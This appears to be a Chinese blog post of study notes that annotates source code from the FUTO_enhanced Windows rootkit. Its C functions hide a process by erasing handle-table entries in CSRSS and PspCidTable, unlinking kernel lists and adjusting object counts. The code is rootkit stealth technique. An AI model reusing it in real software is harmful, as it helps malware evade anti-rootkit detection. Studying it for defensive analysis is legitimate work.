FUTO_enhanced点滴笔记
FUTO_enhanced放在硬盘里快半年了没有去看过, 玩内核的大牛们在几年前就把这个古老的rootkit玩腻了,而俺作为后来的小菜今天才开始消化这些过时的知识(无奈啊,差距太大了
) .
网上关于这个rootkit的介绍很详细了,源码也是很值得俺学习. 于是就写点学习的东西供以后接触的同学一个参考. 老鸟们直接pass了~
[前置知识]:
句柄表的详细结构和查询过程、WINDOWS的对象管理机制和结构、进程线程的结构和它们内部变量间的若干联系、IS等anti-rootkit的基本原理...
关于PspCidTable已经有好多介绍，它也是很重要的一个节点.FUTO理所当然会抹掉里面相应的进程/线程对象信息了. 而CSRSS.exe中同样保留有一份完整的系统进程/线程表.所以要一并抹掉.
[可以参考WINDOWS INTERNALS的第8章,里面有进程创建和相关结构的详细介绍 (英文版)]
(1) 抹掉CSRSS.exe中指定进程的object
首先遍历EPROCESS链表找到CSRSS.exe,其偏移+0x0c4处的ObjectTable为HANDLE_TABLE结构, 其第一项+0x00处便是我们熟悉的TableCode了. 就是要在这个句柄表中找到要抹掉的进程对象,为了兼容,FUTO分了2中情况:XP SP2/WIN2K3 和 WIN2K ,前者的句柄表是1~3层, 后者就是3层. 这里只看XP下的
void
EraseHandle (
PEPROCESS eproc,
PVOID tarHandle
)
/*++
sudami 注解 08/02/18
参数：
eproc - 一般就是CSRSS.EXE的EPROCESS了,因为其他进程里面没有全部的信息
tarHandle - 为要抹掉的进程EPROCESS或线程ETHREAD; handle在R3是PVOID类型
到了底层,就是指向相应的结构对象的指针
返回：NULL
功能：
在CSRSS.EXE中抹掉指定进程/线程的对象信息.作者定义的结构体TABLE_ENTRY
没有给全,也比较的含糊,其实就是_HANDLE_TABLE_ENTRY结构的一部分 - -
typedef struct _TABLE_ENTRY {
DWORD object; // +0x000 Object
ACCESS_MASK security; // +0x004 GrantedAccess
} TABLE_ENTRY, *PTABLE_ENTRY, **PPTABLE_ENTRY, ***PPPTABLE_ENTRY;
当然也可以不用它的这个结构体,不用3维数组.结合 0x800在第1和第2张表中遍历
--*/
{
PTABLE_ENTRY orig_tableEntry, p_tableEntry, *pp_tableEntry, **ppp_tableEntry;
int a, b, c;
int i_numHandles, i_hperPage;
int i_handle;
orig_tableEntry = (PTABLE_ENTRY)*(PDWORD) (( *(PDWORD) \
( (DWORD)eproc + 0x0c4 ) ));
i_numTables = ((DWORD)orig_tableEntry & 3);
if (b_isXP2K3 == TRUE) {
i_hperPage = PAGE_SIZE/sizeof(TABLE_ENTRY);
if (i_numTables == 0) { // 0层表
// 这个地方应该是0xfffffffc,去掉TableCode的低2位,不知道作者怎么写成这样了 =。=!
p_tableEntry = (PTABLE_ENTRY)( (DWORD)orig_tableEntry & 0xfffffff8 );
for (a = 0; a < i_hperPage; a++) {//去掉低3位掩码标志 0x18为ObjectHeader的大小
if (((p_tableEntry[a].object ^ 0x80000000) & 0xfffffff8) ==\
((DWORD)tarHandle - 0x18)) { // 填充0即可
p_tableEntry[a].object = 0;
p_tableEntry[a].security = 0;
}
}
} else if (i_numTables == 1) { // 1层表
pp_tableEntry = (PPTABLE_ENTRY)((DWORD)orig_tableEntry & 0xfffffffc);
for (a = 0; a < i_hperPage; a++) {
if (pp_tableEntry[a] == NULL)
break;
for (b = 0; b < i_hperPage; b++) { // 2维数组了
if (((pp_tableEntry[a][b].object ^ 0x80000000) & 0xfffffff8) \
== ((DWORD)tarHandle - 0x18)) {
pp_tableEntry[a][b].object = 0;
pp_tableEntry[a][b].security = 0;
}
}
}
} else if (i_numTables == 2) { // 2层表
ppp_tableEntry = (PPPTABLE_ENTRY)((DWORD)orig_tableEntry & 0xfffffff8);
for (a = 0; a < i_hperPage; a++) {
if (ppp_tableEntry[a] == NULL)
break;
for (b = 0; b < i_hperPage; b++) {
if (ppp_tableEntry[a][b] == NULL)
break;
for (c = 0; c < i_hperPage; c++) { // 3维数组了
if (((ppp_tableEntry[a][b][c].object ^ 0x80000000) \
& 0xfffffff8) == ((DWORD)tarHandle - 0x18)) {
ppp_tableEntry[a][b][c].object = 0;
ppp_tableEntry[a][b][c].security = 0;
}
}
}
}
}
} else if (b_isXP2K3 == FALSE) {
// WIN2K的略掉了...
}
}
(2) 抹PspCidTable中指定进程的object
和上面的差不多.只不过上面是指定进程(CSRSS.EXE)中的HANDLE_TABLE中的指定进程/线程对象. 而这个是直接给出了PspCidTable,更方便 ---> 调用自定义函数EraseObjectFromTable 略过
(3) 断2个链. 一个是 ActiveProcessLinks,一个是 要隐藏进程EPROCESS结构中的另一个链
nt!_HANDLE_TABLE
+0x000 TableCode : Uint4B
+0x004 QuotaProcess : Ptr32 _EPROCESS
+0x008 UniqueProcessId : Ptr32 Void
+0x00c HandleTableLock : [4] _EX_PUSH_LOCK
+0x01c HandleTableList : _LIST_ENTRY
+0x024 HandleContentionEvent : _EX_PUSH_LOCK
+0x028 DebugInfo : Ptr32 _HANDLE_TRACE_DEBUG_INFO
+0x02c ExtraInfoPages : Int4B
+0x030 FirstFree : Uint4B
+0x034 LastFree : Uint4B
+0x038 NextHandleNeedingPool : Uint4B
+0x03c HandleCount : Int4B
+0x040 Flags : Uint4B
+0x040 StrictFIFO : Pos 0, 1 Bit
即EPROCESS－－＞ObjectTable (+0x0c4)－－＞handleTableList ; 它要是不断,别人可以通过别的已知进程推出这个隐藏进程的EPROCESS,很危险
void
UnHookHandleListEntry (
PEPROCESS eproc
)
/*++
sudami 注解 08/02/18
参数：
eproc - 为要抹掉的进程EPROCESS
返回：NULL
功能：
摘除隐藏在EPROCESS-->ObjectTable-->handleTableList里的结点
--*/
{
PLIST_ENTRY plist_hTable = NULL;
plist_hTable = (PLIST_ENTRY)((*(PDWORD)((DWORD) eproc + HANDLETABLEOFFSET)) + 0x01c);
// 数据结构的知识:双向链表中的摘除结点. 注意 "*((DWORD *) XXXX)" 的意思是取XXXX
// 所指向地址处的内容,即取出保存有下个/上个结点的地址; 而"(DWORD)" 表明就是地址
*((DWORD *)plist_hTable->Blink) = (DWORD) plist_hTable->Flink;
*((DWORD *)plist_hTable->Flink+1) = (DWORD) plist_hTable->Blink;
}
(4) 抹掉CSRSS.EXE中指定进程的所有线程对象.
哈哈,感觉和PHIDE2里面的嫁接新的线程切换表头有点儿像. 其实就是遍历要隐藏进程的所有线程,对每个线程都调用前面提到的 EraseHandle 来抹掉即可
void
HideThreadsInTargetProcess (
PEPROCESS eproc,
PEPROCESS target_eproc
)
/*++
sudami 注解 08/02/18
参数：
eproc - 为要抹掉的进程EPROCESS
target_eproc - CSRSS.EXE
返回：NULL
功能：
摘除CSRSS.EXE中指定进程的所有线程对象信息
--*/
{
PETHREAD start, walk;
DWORD check1, check2;
if (eproc == NULL)
return;
// nt!_KPROCESS +0x050 ThreadListHead : _LIST_ENTRY
check1 = *(DWORD *) ( (DWORD)eproc + 0x50 );
check2 = ( (DWORD)eproc + 0x50 );
if (check1 == check2) // 若该进程只有一个主线程就不必了
return;
start = *(PETHREAD *) ( (DWORD)eproc + 0x50 );
start = (PETHREAD) ( (DWORD)start - 0x50 );
walk = start;
do {
EraseHandle (target_eproc, walk); // 抹掉each ethread
// nt!_KTHREAD +0x1b0 ThreadListEntry : _LIST_ENTRY
walk = *(PETHREAD *)((DWORD)walk + 0x1b0);
walk = (PETHREAD)((DWORD)walk - 0x1b0);
} while (walk != start);
}
(5) 抹掉PspCidTable中的指定进程的所有线程对象
和上面一样,只是把EraseHandle换成EraseObjectFromTable
(6) 使进程对象这类型结构的计数减1
FUTO中给出了一个很好的函数来得到指定的对象类型. ObjectType 有27种, 模样都是L"\\ObjectTypes\\XXXX". 打开对象获得句柄,进而获得OBJECT_DIRECTORY的地址,对其中的37组OBJECT_DIRECTORY_ENTRY进行搜索,每一组都是相同hash值的一条链.遍历起来也很容易.最终找到指定类型的OBJECT_TYPE
ObOpenObjectByName －－＞ ObReferenceObjectByHandle
(传递\\ObjectTypes得到handle) (通过handle得到对象地址)
－－＞ ObQueryNameString, 然后比较name...
然后OBJECT_TYPE中的TotalNumberOfObjects自减即可
注意：上传附件及图片大小不得大于30M。
⚠️ 版权声明：
本博客所有内容（含教程、源码、工具）仅供个人技术学习与研究交流使用，严禁商用、倒卖、二次分发及非法用途。
未经作者书面授权，任何组织或个人不得转载、复制或用于其他平台，违者将追究相关责任。
参与讨论
登录后可查看全部回复并参与讨论。
